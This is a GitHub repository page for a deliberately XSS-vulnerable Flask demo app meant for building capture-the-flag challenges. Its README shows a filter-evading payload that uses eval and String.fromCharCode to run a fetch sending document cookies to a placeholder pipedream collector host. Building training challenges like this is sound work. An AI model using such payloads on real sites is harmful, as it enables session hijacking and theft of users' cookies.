Skip to content

tqt-coder/xss-ctf-challenge

 
 

Repository files navigation

XSS demo app

This is a demo flask app vulnerable to XSS attack with chrome headless checker. It may be useful in creation of CTF challenges.

In this application "." and "document" are filtered, so possible payload may be:

"><script>eval(String['fromCharCode'](102,101,116,...))</script>
where encoded in ascii query is something like:
fetch('https://our.domain.pipedream.net/?c=' + document['cookie'])

Deployment

Guide for installation, configuration and running is available here

TODO

Plans for project improvement can be found here
Issues and PR's are welcome!

About

Simple web application with XSS checker

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages

  • Python 44.5%
  • HTML 27.9%
  • CSS 12.9%
  • JavaScript 12.1%
  • Shell 2.2%
  • Procfile 0.4%